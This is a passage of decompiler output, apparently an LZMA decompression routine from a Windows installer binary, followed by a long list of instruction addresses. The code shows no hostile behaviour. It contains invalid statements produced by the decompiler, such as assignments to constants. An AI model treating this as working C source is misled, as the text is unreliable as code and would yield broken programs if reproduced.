											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L110:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t366 = __ebp - 0x70;
											 *_t366 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t366;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L112;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											L132:
											 *(_t612 - 0x54) = _t605;
											goto L133;
										case 0x12:
											goto L0;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												goto L144;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											goto L130;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											L140:
											 *(_t612 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L121;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											goto L145;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											goto L149;
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L120:
												_t394 = __ebp - 0x2c;
												 *_t394 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t394;
												L121:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t401 = __ebp - 0x60;
												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t401;
												goto L124;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L103:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L109:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L113:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t392 = __ebp - 0x2c;
														 *_t392 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t392;
														goto L120;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L112:
														_t369 = __ebp - 0x48;
														 *_t369 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t369;
														goto L113;
													} else {
														goto L110;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L102:
													_t339 = __ebp - 0x48;
													 *_t339 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t339;
													goto L103;
												} else {
													goto L100;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L109;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L124:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t415 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t415;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t415;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											L170:
											_push(0x22);
											_pop(_t567);
											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
											_t535 = 0;
											L172:
											return _t535;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
						__eax =  *(__ebp - 0x50);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
						__eax =  *(__ebp - 0x58);
						__esi = __edx + __eax;
						 *(__ebp - 0x54) = __esi;
						__ax =  *__esi;
						__edi = __ax & 0x0000ffff;
						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
						if( *(__ebp - 0xc) >= __ecx) {
							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
							__cx = __ax;
							__cx = __ax >> 5;
							__eax = __eax - __ecx;
							__edx = __edx + 1;
							 *__esi = __ax;
							 *(__ebp - 0x50) = __edx;
						} else {
							 *(__ebp - 0x10) = __ecx;
							0x800 = 0x800 - __edi;
							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
							 *__esi = __cx;
						}
						if( *(__ebp - 0x10) >= 0x1000000) {
							goto L148;
						} else {
							goto L146;
						}
					}
					goto L1;
				}
			}

0x00000000
0x00407395
0x00407395
0x00407399
0x004073be
0x004073c8
0x00000000
0x0040739b
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a8
0x004073ac
0x004073ac
0x004073af
0x00407489
0x00407489
0x00407490
0x00407490
0x00407493
0x0040749a
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00407447
0x00407447
0x00407447
0x00406be3
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040741c
0x00407420
0x004075cf
0x00000000
0x004075cf
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00407441
0x00407441
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x00000000
0x00406dec
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406db1
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x00000000
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x00000000
0x00000000
0x004070ab
0x004070af
